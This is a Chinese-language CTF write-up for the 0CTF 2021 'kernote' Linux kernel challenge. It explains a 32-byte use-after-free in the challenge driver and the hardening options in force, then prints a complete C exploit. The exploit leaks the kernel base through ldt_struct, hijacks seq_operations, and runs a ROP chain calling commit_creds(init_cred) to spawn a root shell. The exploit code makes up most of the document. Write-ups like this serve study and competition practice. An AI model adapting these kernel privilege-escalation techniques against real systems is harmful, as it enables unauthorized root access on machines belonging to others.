【ldt_struct】0ctf2021-kernote

前言 

题目给的文件系统是 ext4,所以我们只需要将其挂载即可使用:

1、创建一个空目录

2、使用 mount 将其挂载即可

3、使用 umount 卸载即可完成打包

开启了 smap、smep、kaslr 和 kpti 保护,并且给了如下内核编译选项:

Here are some kernel config options in case you need it
```
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
```

可以看到这里使用的是 slab 分配器而不是默认的 slub 分配器:

  • 开启了 Random Freelist(slab 的 freelist 会进行一定的随机化)
  • 开启了 Hardened Freelist(slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或(参照 glibc 的 safe-linking))
  • 开启了 Hardened Usercopy(在向内核拷贝数据时会进行检查,检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等
  • 开启了 Static Usermodehelper Path(modprobe_path 为只读,不可修改)

 漏洞利用

驱动程序比较简单,就一个 ioctl 函数,实现了四个功能,给了一个 32 字节大小的 UAF,并且有写 8 字节的能力。

【ldt_struct】0ctf2021-kernote_第1张图片

漏洞的产生在于在释放了 buf[idx] 时,虽然将其置零了,但是我们可以通过 note 继续操作释放的堆块,这里就导致了 UAF。

这里需要注意的是本题使用的是 slab 分配器,其最小的堆块大小就是 32 字节了,所以这里的 ldt_struct 也是会分配到 32 字节的 object,所以这里选择 ldt_struct 泄漏内核基地址,然后再劫持 seq_operations,利用 pt_regs 一套带走。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SECONDARY_STARTUP_64 0xffffffff81000040

size_t pop_rdi = 0xffffffff81075c4c; // pop rdi ; ret
size_t init_cred = 0xffffffff8266b780;
size_t commit_creds = 0xffffffff810c9dd0;
size_t add_rsp_xx = 0xFFFFFFFF81A1B270;
size_t swapgs_kpti = 0xFFFFFFFF81C00FB8;

int seq_fd;
char buffer[8];

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;
void add(size_t idx)
{
        ioctl(fd, 0x6667, idx);
}

void dele(size_t idx)
{
        ioctl(fd, 0x6668, idx);
}

void note_get(size_t idx)
{
        ioctl(fd, 0x6666, idx);
}

void note_write(size_t data)
{
        ioctl(fd, 0x6669, data);
}



int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int res;
        int pipe_fd[2];
        size_t* buf;
        size_t temp;
        size_t page_offset_base;
        size_t search_addr;
        size_t kernel_offset;
        struct user_desc desc = { 0 };

        fd = open("/dev/kernote", O_RDWR);
        if (fd < 0) err_exit("Failed to open /dev/kernote");

        add(0);
        note_get(0);
        dele(0);

        page_offset_base = 0xffff888000000000;
        desc.base_addr = 0xff0000;
        desc.entry_number = 0x8000 / 8;
        syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
        while (1)
        {
                note_write(page_offset_base);
                res = syscall(SYS_modify_ldt, 0, &temp, 8);
                if (res > 0) break;
                else if (res == 0) err_exit("Error in leak page_offset_base by ldt_struct");
                page_offset_base += 0x4000000;
        }
        hexx("page_offset_base", page_offset_base);

        pipe(pipe_fd);
        buf = malloc(0x1000*sizeof(size_t));
        kernel_offset = -1;
        search_addr = page_offset_base;
        while (1)
        {
                note_write(search_addr);
                if (!fork())
                {
                        res = syscall(SYS_modify_ldt, 0, buf, 0x8000);
                        for (int i = 0; i < 0x1000; i++)
                                if (buf[i] > 0xffffffff81000000 && (buf[i]&0xfff) == 0x040)
                                {
                                        kernel_offset = buf[i] - SECONDARY_STARTUP_64;
                                        break;
                                }
                        write(pipe_fd[1], &kernel_offset, 8);
                        exit(0);
                }
                wait(NULL);
                read(pipe_fd[0], &kernel_offset, 8);
                if (kernel_offset != -1) break;
                search_addr += 0x8000;
        }
        hexx("kernel_offset", kernel_offset);

        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(1);
        note_get(1);
        dele(1);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");
        note_write(add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        "xor rax, rax;"
        "mov rdi, seq_fd;"
        "mov rsi, buffer;"
        "mov rdx, 8;"
        "syscall;"
        );

        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

 效果如下:

【ldt_struct】0ctf2021-kernote_第2张图片

彩蛋

这里调试时,又无法在 seq_operations->start 这里断住,思考了好久,最后想到了,seq_operations->start 是在 seq_read_iter 中被调用的,所以直接把断点打在 seq_read_iter 这里,然后再跟几步就可以跟到 seq_operations_start 了。以后就直接这样调试了

其实我们要注意栈回溯,如果断点断不下来,我们可以往前回溯,然后跟几步就 ok 了

参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3's blog

你可能感兴趣的:(kernel-pwn,kernel-pwn)